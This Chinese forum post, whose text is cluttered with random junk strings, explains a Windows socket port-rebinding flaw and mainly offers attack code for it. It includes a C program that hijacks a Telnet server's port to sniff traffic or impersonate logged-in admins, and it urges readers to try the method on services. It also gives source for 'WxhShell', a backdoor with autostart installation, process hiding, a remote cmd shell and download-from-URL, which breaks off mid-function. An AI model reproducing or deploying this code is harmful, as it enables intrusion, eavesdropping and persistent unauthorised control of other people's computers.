在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
}!"Cvu s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/Mj|Px% iLN O}EUL saddr.sin_family = AF_INET;
8!
/ue.T Zzmo7kFx3 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
7!;zkou 0^)~p{Zh bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Jl|^^? G?!8T91; 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
%S^:5#9 AC!yc(^< 这意味着什么?意味着可以进行如下的攻击:
nI] zRduC
^CD?SP"i 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
^S 45!mSb n8JM
0 U- 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
>
w SI0N MRT<hB 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
]Bs{9=2 FGeKhA 8jT 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
aGAr24]y fcy4?SQ.<i 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
/N,\ st [fY7| 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
k1SD{BL 0}po74x*r 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
v^ v \6uEP qRz /$|. #include
( X+2vN #include
])q,mH #include
]YOWCFAQot #include
w-C%,1F,/ DWORD WINAPI ClientThread(LPVOID lpParam);
=E-o@#BS int main()
O\6gw$ {
<U8w# dc WORD wVersionRequested;
2*]
[M,L0c DWORD ret;
a'd=szt WSADATA wsaData;
NC iBn>=: BOOL val;
SiJ{ SOCKADDR_IN saddr;
7 0EH~ SOCKADDR_IN scaddr;
wOLV?Vk int err;
eU.C<Tv:8 SOCKET s;
2B5Ez,'#x SOCKET sc;
o_5[}d int caddsize;
c2L\m*^o HANDLE mt;
!#W3Q DWORD tid;
B
]sVlbt wVersionRequested = MAKEWORD( 2, 2 );
M.bkFuh err = WSAStartup( wVersionRequested, &wsaData );
PDLps[a if ( err != 0 ) {
jv6>7@<G printf("error!WSAStartup failed!\n");
1=e(g#Ajn\ return -1;
"'/+}xM"5 }
; P$ _:-C saddr.sin_family = AF_INET;
BkY#wJ' ab#z&jg! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
BB_(!omq[ jy_4W!4a saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
C0/G1\ saddr.sin_port = htons(23);
X":2o|R if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
d=
?lPEzSA {
Vv+ oq5hf printf("error!socket failed!\n");
=#A/d`2
b return -1;
@Kw&XK e` }
{,?Gj@$ val = TRUE;
lkC| g%f //SO_REUSEADDR选项就是可以实现端口重绑定的
Hs{x Z: if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
JY,oXA6O {
FlY"OU* printf("error!setsockopt failed!\n");
2fNNdxdbT return -1;
,?`kYPZ }
ly6dl //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
[Dmf.PUe //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
n xR\tBv //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
+q+JOS]L e E(+ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
0QxBC7`qp {
&}K%F)S ret=GetLastError();
if3z Fh printf("error!bind failed!\n");
O@w_"TJP/z return -1;
PWquu` }
u9u'5xAO listen(s,2);
5=}CZYWB while(1)
(f~}5O< {
hZ.](rD caddsize = sizeof(scaddr);
#r1y|)m` //接受连接请求
}5}>B * sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
[Z&<# - if(sc!=INVALID_SOCKET)
Zq H-]?) {
y,@yaM}-/K mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
2izBB,# " if(mt==NULL)
M@p<L
VP {
?6L8#"= printf("Thread Creat Failed!\n");
9e}%2, break;
d`%7Pk }
b!teSf }
[57`V&c5 CloseHandle(mt);
x<@i3Y{[ }
7]i6 Gk
closesocket(s);
\< a^5' WSACleanup();
T)Q_dF.N return 0;
"L8Hgwg }
Ekh)l0
l DWORD WINAPI ClientThread(LPVOID lpParam)
!DV0u)k( {
N P5K1: SOCKET ss = (SOCKET)lpParam;
.q!i
+0 SOCKET sc;
=
C/F26=| unsigned char buf[4096];
jl>wvY|| SOCKADDR_IN saddr;
/b/ 6*& long num;
}_H\75Iv DWORD val;
%?F$3YN, DWORD ret;
kf#S"[/E //如果是隐藏端口应用的话,可以在此处加一些判断
NzN"_o jM //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Zv?"1Y< L saddr.sin_family = AF_INET;
NLUO{'uUW saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
t**d{P+ saddr.sin_port = htons(23);
m9]Ge] if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1u(n[<WtT_ {
{Z
Ld_VGW printf("error!socket failed!\n");
IGab~`c-[ return -1;
k![H;}W }
2MW7nIEs val = 100;
MmFtG- if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8Z)wot {
?crK613 t ret = GetLastError();
l-x- return -1;
|CQ0{1R1 }
F(^#_tXP if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9E4^hkD& {
+At0V( ret = GetLastError();
'+'h^ return -1;
@hrIu" '! }
2 OqEyXh if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
|$+/IxDP {
@=Dc(5`[ printf("error!socket connect failed!\n");
?ef7%0 closesocket(sc);
yf-2E_yB closesocket(ss);
h`( VMf'# return -1;
s0Z)BR # }
P:%b[7 while(1)
'MNCJ;A@V {
&5G@YQD1e //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
"D
KrQ,L //如果是嗅探内容的话,可以再此处进行内容分析和记录
Md8<IFi9]Q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
P8;1,?ou num = recv(ss,buf,4096,0);
A]drNFE if(num>0)
QXO~DR1 send(sc,buf,num,0);
T[c-E*{hR else if(num==0)
.C5JQO break;
zz(EH<> num = recv(sc,buf,4096,0);
"5?1S-Vl if(num>0)
ug;~dhe~ send(ss,buf,num,0);
{kb7u5- else if(num==0)
(.L?sDQ</z break;
>p" U| }
oq|`;k closesocket(ss);
'/AX'U8Y closesocket(sc);
)_?h;wh 84 return 0 ;
.MID)PY- }
7#7|+%W0 rp2g./2 IYH4@v/# ==========================================================
5g$>J)Ry 1'8-+?r 下边附上一个代码,,WXhSHELL
mgM"u94-] oTcf[< ==========================================================
kg,\l9AM {z;4t&5
#include "stdafx.h"
" SP6o A..`?oGj #include <stdio.h>
!,]c}Y{i #include <string.h>
[F(iV[n% #include <windows.h>
#hMkajG #include <winsock2.h>
tF./Jx]_ #include <winsvc.h>
pF8+<
T3y #include <urlmon.h>
ELG9ts+5Uj G%=
gCR #pragma comment (lib, "Ws2_32.lib")
(hIo0. #pragma comment (lib, "urlmon.lib")
9wO2`e ) /N obS'd #define MAX_USER 100 // 最大客户端连接数
fL]jk1.Xv- #define BUF_SOCK 200 // sock buffer
]^i^L #define KEY_BUFF 255 // 输入 buffer
]9JH.fF E\cX #define REBOOT 0 // 重启
6o5,d] #define SHUTDOWN 1 // 关机
dO,;k+ ,e'"SVQc #define DEF_PORT 5000 // 监听端口
Np+pJc1 uY/CiTWr #define REG_LEN 16 // 注册表键长度
{zLgLBM #define SVC_LEN 80 // NT服务名长度
^!n|j]aw _={mKKoHs // 从dll定义API
3TS:H1n typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
&2O~BIRE typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
>m{>0k(^` typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
[nrD4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
QXl~a%lB jpTk@ // wxhshell配置信息
oL<5hN*D struct WSCFG {
_#{qDG= int ws_port; // 监听端口
XdOntP *a char ws_passstr[REG_LEN]; // 口令
WW!-,d{{@ int ws_autoins; // 安装标记, 1=yes 0=no
DZEq(>mn char ws_regname[REG_LEN]; // 注册表键名
#uCfXJ- char ws_svcname[REG_LEN]; // 服务名
D";clP05K char ws_svcdisp[SVC_LEN]; // 服务显示名
|L:X$oM char ws_svcdesc[SVC_LEN]; // 服务描述信息
.WuSW[g char ws_passmsg[SVC_LEN]; // 密码输入提示信息
v-Q>I5D;: int ws_downexe; // 下载执行标记, 1=yes 0=no
/q'-.-bo char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
(NJ.\m char ws_filenam[SVC_LEN]; // 下载后保存的文件名
wwJ s_f\ ^D9w=f#a };
\~zm_-Hw@Y .C ,dV7 // default Wxhshell configuration
3a=\$x@ struct WSCFG wscfg={DEF_PORT,
#YK3Ogb, "xuhuanlingzhe",
d 3#e7rQ8 1,
{SRD\&J[ "Wxhshell",
fE3%$M[V7 "Wxhshell",
}1lZW"{e[ "WxhShell Service",
o#BI_#b "Wrsky Windows CmdShell Service",
uss!E!_%, "Please Input Your Password: ",
kf9]nIo 1,
imhE=6{ "
http://www.wrsky.com/wxhshell.exe",
l0g+OMt "Wxhshell.exe"
bT|-G2g7Z };
vGI)c&C> =wD&hDn4 // 消息定义模块
2+g'ul` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
>Ad`_g6Wew char *msg_ws_prompt="\n\r? for help\n\r#>";
,Ik~E&Ku2' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
`@vksjxu char *msg_ws_ext="\n\rExit.";
[~`p~@\+ char *msg_ws_end="\n\rQuit.";
wByTNA7 char *msg_ws_boot="\n\rReboot...";
Nei i$ char *msg_ws_poff="\n\rShutdown...";
E]r<t# char *msg_ws_down="\n\rSave to ";
,^eOwWV U%;E: | char *msg_ws_err="\n\rErr!";
A* Pz-z>z char *msg_ws_ok="\n\rOK!";
D*sL&Rt][Y nHp$5|r< char ExeFile[MAX_PATH];
XJ" xMv int nUser = 0;
%P(2uesd HANDLE handles[MAX_USER];
Py/~Q-8p int OsIsNt;
8=?U7aw t3K9 |8< SERVICE_STATUS serviceStatus;
(*V!V3E3# SERVICE_STATUS_HANDLE hServiceStatusHandle;
]6O(r)k (<}?}{YX0 // 函数声明
dk]A,TB*2 int Install(void);
IMzt1l
=7 int Uninstall(void);
=e9<.{]S/ int DownloadFile(char *sURL, SOCKET wsh);
a( N;|< int Boot(int flag);
@uG/2'B( void HideProc(void);
c%+uji6 int GetOsVer(void);
R9QW%!:,\2 int Wxhshell(SOCKET wsl);
d5R2J:dI void TalkWithClient(void *cs);
%Q;:nVt int CmdShell(SOCKET sock);
,\d03wha int StartFromService(void);
eW}-UeT int StartWxhshell(LPSTR lpCmdLine);
uX&h~qE/ lZ <D,& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
pigu]mj VOID WINAPI NTServiceHandler( DWORD fdwControl );
SxcE@WM Rz6kwh=q // 数据结构和表定义
-@B6 $XWL SERVICE_TABLE_ENTRY DispatchTable[] =
JRAU|gr {
4E1j0ARQQ {wscfg.ws_svcname, NTServiceMain},
T
eu.i {NULL, NULL}
iQLP~Z>,T };
X\*H7;k, "1%k"+& // 自我安装
<DII%7q,6/ int Install(void)
PGVP0H+RV {
U#XW}T=| char svExeFile[MAX_PATH];
:/RvtmW HKEY key;
J{Ld)Q,^ strcpy(svExeFile,ExeFile);
ng6E&<Z yC4%z)t&R // 如果是win9x系统,修改注册表设为自启动
b!nA.`T if(!OsIsNt) {
~*Y/#kPY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!<b+7A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
O-P`HKr RegCloseKey(key);
![MtJo5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
.G"T;w6d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
MiF(
&# RegCloseKey(key);
'A1y~x#2B return 0;
N4{g[[ T }
-Y N(j\ }
!vHCftKel }
Hd
gABIuX else {
:?i,!0#" F*NHy.Y // 如果是NT以上系统,安装为系统服务
(/t{z= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
vy>(?[ if (schSCManager!=0)
h96<9L {
Qkw_9 SC_HANDLE schService = CreateService
_p9 _P g8 (
&._Mh schSCManager,
Z uP3/d wscfg.ws_svcname,
5Z#(C# wscfg.ws_svcdisp,
TY` R_ SERVICE_ALL_ACCESS,
v`:!$U*
H= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
.cmhi3o4 SERVICE_AUTO_START,
2(Yt`3Go( SERVICE_ERROR_NORMAL,
!MmbwB' svExeFile,
A-$C6q NULL,
pF}E`U=Z NULL,
N~S#(.}[ NULL,
5p3:8G7 NULL,
q>6,g>I NULL
dKw[#(m5v );
9,"gXsvx( if (schService!=0)
&[yYgfsp {
>gn@NJ2 N CloseServiceHandle(schService);
!!Yf>0u#
CloseServiceHandle(schSCManager);
Q2Uk0:M strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
<YCR^?hJSi strcat(svExeFile,wscfg.ws_svcname);
i=fhK~Jd if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
wGHVq
fm5 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
^a!oq~ZSy RegCloseKey(key);
?3v-ppw% return 0;
QPvWdjf#mM }
`;m0GU68 }
Z1(!syg CloseServiceHandle(schSCManager);
Cwji,* }
E|6@h8# }
@9k/od@mW \Z~
<jv return 1;
{WeRFiQ?- }
ICTjUQP /~?[70B}E // 自我卸载
yV&]i-ey int Uninstall(void)
NxFCVqGb {
qa6HwlC1 HKEY key;
!yKrA|w1 QP@@h4J^ if(!OsIsNt) {
Ku3NE-) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7CX5pRNL RegDeleteValue(key,wscfg.ws_regname);
a@?ebCE RegCloseKey(key);
ma`sv<f4-! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_~*ba+{ RegDeleteValue(key,wscfg.ws_regname);
7&V3f=aj6 RegCloseKey(key);
x3jjtjf return 0;
Dd$8{~h"G }
azTiY@/ }
&G3$q,`H }
}UG<_bE| else {
(YYwn@NGj 'sk M$jr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
;b_<5S if (schSCManager!=0)
vgr5j {
^vOEG;TR<- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
5?E;YyA if (schService!=0)
ZCfd<NS? {
%r:4'$E7| if(DeleteService(schService)!=0) {
X{h[ CloseServiceHandle(schService);
I7<UC{Ny CloseServiceHandle(schSCManager);
Ka"1gbJ| return 0;
oV~S4|9: }
wFBSux$ CloseServiceHandle(schService);
4@M}5WJ7 }
CY!H)6k CloseServiceHandle(schSCManager);
Nk9w;
z& }
aZta%3`) }
mVT[:a3 l@@qpaH return 1;
) LBbA }
L|A1bxt q+XU Cnv // 从指定url下载文件
MLmv+ int DownloadFile(char *sURL, SOCKET wsh)
F@ZB6~T~. {
j~hvPlho HRESULT hr;
]\3<UL char seps[]= "/";
hXx:D3h char *token;
a1v?{vu\E char *file;
g{m~TVm' char myURL[MAX_PATH];
X(C=O?A char myFILE[MAX_PATH];
\Fu(IuD YsRq.9Mr strcpy(myURL,sURL);
/T 4GPi\lg token=strtok(myURL,seps);
VB4ir\nF while(token!=NULL)
t & 5s. {
h>/L4j*Z file=token;
N,ZmGzNP) token=strtok(NULL,seps);
Mo4igP }
mDA1$fj" u>2opI~m GetCurrentDirectory(MAX_PATH,myFILE);
yJ8_<A strcat(myFILE, "\\");
9}d^ll& strcat(myFILE, file);
TZObjSm_v send(wsh,myFILE,strlen(myFILE),0);
lhF)$M send(wsh,"...",3,0);
!@
)JqF. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
2W)KfS if(hr==S_OK)
h<BTu7a`r return 0;
-TyBb] else
{ka={7 return 1;
YXGxE&! 1(Lq9hs` }
h-*h;Uyc +a'nP=e& // 系统电源模块
$,1KD3;+] int Boot(int flag)
@8SA^u0 {
gZ { HANDLE hToken;
_P=L| U#C TOKEN_PRIVILEGES tkp;
QU@CPME -Z:nImqzc if(OsIsNt) {
k,r}X:<6jz OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Qgl5Jr. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
k_ijVfI9 tkp.PrivilegeCount = 1;
Pm|S>r tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
N9O}6 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
4/&.N] if(flag==REBOOT) {
H$xUOqL if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
+3-f$/po return 0;
-qB{TA-.\ }
W)u9VbPk[ else {
} DkdF if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ER<Z!*2 return 0;
pA@BW:# }
F^7qr }
hDTM\>.c;s else {
<A]
Kg if(flag==REBOOT) {
L^jhr>-"; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
(w/lZt return 0;
>uYGY{+j[ }
}A7]bd else {
Gq.fQ_oOb if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
)`<7qT_BM return 0;
,Z[pLF }
}[ByN). }
Fr,b5 M<L7 Ng\] return 1;
S6c>D&Q }
U5H5QW + qmbhx9V // win9x进程隐藏模块
oMF[<Xf void HideProc(void)
1K{hj% {
h%U,g
9_ 5f_1 dn HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
]"U/3dL5 if ( hKernel != NULL )
-VZ?
c {
8?$XT pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Opf^#6'mq ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
X"v)9p FreeLibrary(hKernel);
Vpf7~2[q% }
E
<h9o>h IlMst16q5 return;
Ny 7vId }
^xF-IA#ZeB *Q,9 [k // 获取操作系统版本
lC=T{rR int GetOsVer(void)
8"J6(KS {
v cb}Gk OSVERSIONINFO winfo;
~> 5 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
AF"XsEt.e GetVersionEx(&winfo);
W^1)70<y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
8,?*eYNjb return 1;
QQX7p!~E else
{3\{aZ8) return 0;
a O(&< }
3qrjb]E%} a*Ng+~5)6 // 客户端句柄模块
p/Lk'h~ int Wxhshell(SOCKET wsl)
Yq-7! {
)F%zT[Auph SOCKET wsh;
:X#'ELo| struct sockaddr_in client;
vN`JP`IBx DWORD myID;
$Q*^c"& +ZPn[| while(nUser<MAX_USER)
>SHW {
=_,j89E int nSize=sizeof(client);
E3h-?ugO' wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
3 bll9Ey if(wsh==INVALID_SOCKET) return 1;
*vIC9./ z]=jer handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
=}YaV@g<f if(handles[nUser]==0)
&,iPI2`O A closesocket(wsh);
EL1*@ else
o\:vxj+%* nUser++;
(:ij'Zbz }
}1Km h] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
c$R<j'7 [knwp$ return 0;
U#F(%b-LC }
^TCfj^FP -n`2>L1 // 关闭 socket
.7MLgC; void CloseIt(SOCKET wsh)
NLO&.Q]# {
MGSD;Lgn closesocket(wsh);
0`"DYJ}d nUser--;
RV, cQ K ExitThread(0);
MF.$E?_R }
\$D41_Wt| S+//g+e|f // 客户端请求句柄
#l-/!j void TalkWithClient(void *cs)
gYvT'72 {
_:?b-44 jMQ7^(9- SOCKET wsh=(SOCKET)cs;
A>QAR)YP char pwd[SVC_LEN];
t[b@P<F char cmd[KEY_BUFF];
{DbWk>[DkG char chr[1];
-owap-Va int i,j;
n_46;lD 6B`,^8Lp while (nUser < MAX_USER) {
;&]oV`Ib z%Ivc*x5 if(wscfg.ws_passstr) {
U&SgB[QHO if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)VFS&|#\ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
u_X(c'aE; //ZeroMemory(pwd,KEY_BUFF);
(c1Kg i=0;
I8{ohFFo while(i<SVC_LEN) {
|NXe{q7{ ='\E+*[$I // 设置超时
.*g^
i` fd_set FdRead;
*|&&3&7 struct timeval TimeOut;
.Sjg FD_ZERO(&FdRead);
WO"<s{v FD_SET(wsh,&FdRead);
V?o%0V TimeOut.tv_sec=8;
Hrj@I?4 TimeOut.tv_usec=0;
1|xo4fmV int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
,ko0XQBl if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
~X%W2N2 !vH={40 ] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
UaV8!Z> pwd
=chr[0]; ETtoY<`#
if(chr[0]==0xd || chr[0]==0xa) { &Vmx<w
pwd=0; wGAeOD
break; +pJ~<ug]
} qq[Enf|/y
i++; Ai.^~#%X
} Bz*6M
T{mIkp<
// 如果是非法用户,关闭 socket "y$s`n4Mj
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d m$iiRY
} [rtMx8T
k|[86<&[
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); geEETb}+y
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8Xk,Nbcqt
qBXIR}
while(1) { yc3i> w`
W)fh}|.5
ZeroMemory(cmd,KEY_BUFF); DyPb]Udb:
QN OA66
// 自动支持客户端 telnet标准 K{[N.dX(
j=0; Q804_F
F#
while(j<KEY_BUFF) { !:9s>0';N
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q[UYNQ0w
cmd[j]=chr[0]; 8PwPI%Pb
if(chr[0]==0xa || chr[0]==0xd) { 2)47$eu
cmd[j]=0; o&U/e\zy
break; $JZ}=\n7
} !t+eJj
j++; @c^g<
} iE=:}"pI"
#wP$LKk
// 下载文件 Q'K[?W|C
if(strstr(cmd,"http://")) { %] [6TZ}
send(wsh,msg_ws_down,strlen(msg_ws_down),0); (`FY{]Wz!
if(DownloadFile(cmd,wsh)) PHQ99&F1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kzf^ras4u
else \K(QE ~y'W
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hxx`f-#=
} vN3uLz'<
else { rWD*DmY@"
AN
'L-
E
switch(cmd[0]) { ]O.Z4+6w
cy!;;bB
// 帮助 FG6mh,C!
case '?': { ipn0WQG
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #x[3@zP.
break; h$rk]UM/Q
} w@&(=C
// 安装 AG(Gtvw
case 'i': { i+eDBg6
if(Install()) 4'BZ +A,p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pQ yH`
else T@\%h8@~]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZIikDih1
break; A,#a?O6m
} +o^sm '$
// 卸载 UJhUb)}^
case 'r': { 'NDDj0Y
if(Uninstall()) 31=vUS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _&|<(m&."
else %r >Y)@$Vt
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X8212[7
break; ]d -U
} G
"`t$=0
// 显示 wxhshell 所在路径 `as6IMqJD
case 'p': { Z}s56{!.
char svExeFile[MAX_PATH]; 4]mAV\1
strcpy(svExeFile,"\n\r"); }N%uQP#I
strcat(svExeFile,ExeFile); j]bNOC2.L
send(wsh,svExeFile,strlen(svExeFile),0); ;Br
#e1~
break; .l}oxWWoS
} "E}38
// 重启 |]'0z0>
case 'b': { C}8 3t~Q
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k~HS_b*]d
if(Boot(REBOOT)) gtlyQ
_V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?)L X4GY
else { ]q CCCI`
closesocket(wsh); vfPIC!
ExitThread(0); wH N5H
} RI#o9d"x}
break; t'im\_$F
} ~5sH`w~vQ
// 关机 c&;Xjy
case 'd': { BNpc-O~
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :Wl`8p4]
if(Boot(SHUTDOWN)) \+Pk"M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n>aH7
else { 68,(+vkB
closesocket(wsh); gO,2:,
ExitThread(0); x>m=n_
} ?fmW'vs
break; L+J)
} cOo@UU P
// 获取shell kcyT#'=j
case 's': { X;%*+xQ^
CmdShell(wsh); Gn}^BJN
closesocket(wsh); GG$&=.$
ExitThread(0); V/W{d[86G
break; ~ w,hJ `
} a0=>@?
// 退出 [[gfR'79{
case 'x': { x3]y*6
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g&`[r6B
CloseIt(wsh); IBSoAL
break; 1./iF>*A
} 0V5 {:mzA
// 离开 S1D;Xv@
case 'q': { 'e5,%"5(c
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z|IFT1K
closesocket(wsh); o]O
WSACleanup(); sm96Ye{O{
exit(1); fOkB|E]
break; + 3%i7
} )*T<s
} d6ABgQi0
} gPzp/I
JDj^7\`
// 提示信息 \bzT=^Z;2
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }Asp=<kCc
} ztHEXM.
} ~zD*=h2C
7R5!(g
return; EGIwqci:
} @(_f}SgfE
|?Bb{Es
// shell模块句柄 aT`. e
int CmdShell(SOCKET sock) 2#g4R
{ ![CF
>:e
STARTUPINFO si; ! tPHT
ZeroMemory(&si,sizeof(si)); o dTg.m
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gt{$G|bi
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'W]oQLD^R
PROCESS_INFORMATION ProcessInfo; N_qKIc_R
char cmdline[]="cmd"; v'X=|$75
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T^XU5qgN
return 0; +KKx\m*
} 9a;8^?Ld%S
&nX,)"
// 自身启动模式 =as\Tp#d
int StartFromService(void) t?404
{ 9HJA:k*k|
typedef struct 8w]>SEGFs
{ g{%2*{;i
DWORD ExitStatus; _rjLCvv-
DWORD PebBaseAddress; r]'Q5l4j6"
DWORD AffinityMask; I!uGI
DWORD BasePriority; Th(F^W9
